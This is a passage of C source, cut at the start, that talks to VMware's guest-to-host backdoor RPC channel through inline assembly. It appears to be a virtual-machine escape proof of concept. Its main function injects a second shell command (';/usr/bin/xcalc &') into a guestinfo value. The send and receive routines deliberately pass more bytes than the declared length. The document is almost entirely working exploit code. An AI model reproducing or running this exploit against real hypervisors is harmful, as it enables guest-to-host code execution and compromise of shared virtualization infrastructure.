void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movl %%ecx,%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0001001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $0,%%r12\n\t"
"1:\n\t"
"movq %%r8,%%rbp\n\t"
"add %%r12,%%rbp\n\t"
"movl (%%rbp),%%ebx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0002001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"addq $4,%%r12\n\t"
"cmpq %%r12,%%r11\n\t"
"ja 1b\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%r8,%%r10\n\t"
"movq %%rcx,%%r11\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0003001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
"movl %%ebx,(%%r11)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}
void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {
asm("pushq %%rbp\n\t"
"movq %%r9,%%r10\n\t"
"movq %%r8,%%rbp\n\t"
"movq %%rcx,%%r11\n\t"
"movq $1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0004001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"in %%dx,%%eax\n\t"
"add %%r11,%%rbp\n\t"
"movl %%ebx,(%%rbp)\n\t"
"movl %%ecx,(%%r10)\n\t"
"popq %%rbp\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}
void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x1,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movq $0x21,%%rbx\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0005001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
void channel_close(int cookie1, int cookie2, int channel_num, int *res) {
asm("movl %%eax,%%ebx\n\t"
"movq %%rcx,%%r10\n\t"
"movl $0x564d5868,%%eax\n\t"
"movl $0x0006001e,%%ecx\n\t"
"movw $0x5658,%%dx\n\t"
"out %%eax,%%dx\n\t"
"movl %%ecx,(%%r10)\n\t"
:
:
: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}
typedef struct {
int cookie1;
int cookie2;
int num;
} channel;
void run_cmd(char *cmd) {
channel cannel;
int res, len;
channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);
if (!res) {
puts("[-] fail to open channel.");
exit(EXIT_FAILURE);
}
channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);
if (!res) {
puts("[-] fail to set len");
exit(EXIT_FAILURE);
}
channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd) + 0x10, cmd, &res);
channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);
if (!res) {
puts("[-] fail to recv data len");
exit(EXIT_FAILURE);
}
printf("[*] recv len:%d\n", len);
char *data = malloc(len + 0x10);
memset(data, 0, len + 0x10);
for (int i = 0; i < len + 0x10; i += 4) {
channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);
}
byte_dump("recv data", data, len + 0x10);
channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);
if (!res) {
puts("[-] fail to recv finish");
exit(EXIT_FAILURE);
}
channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);
if (!res) {
puts("[-] fail to close channel");
exit(EXIT_FAILURE);
}
}
int main() {
run_cmd("info-set guestinfo.x ;/usr/bin/xcalc &");
run_cmd("info-get guestinfo.x");
return 0;
}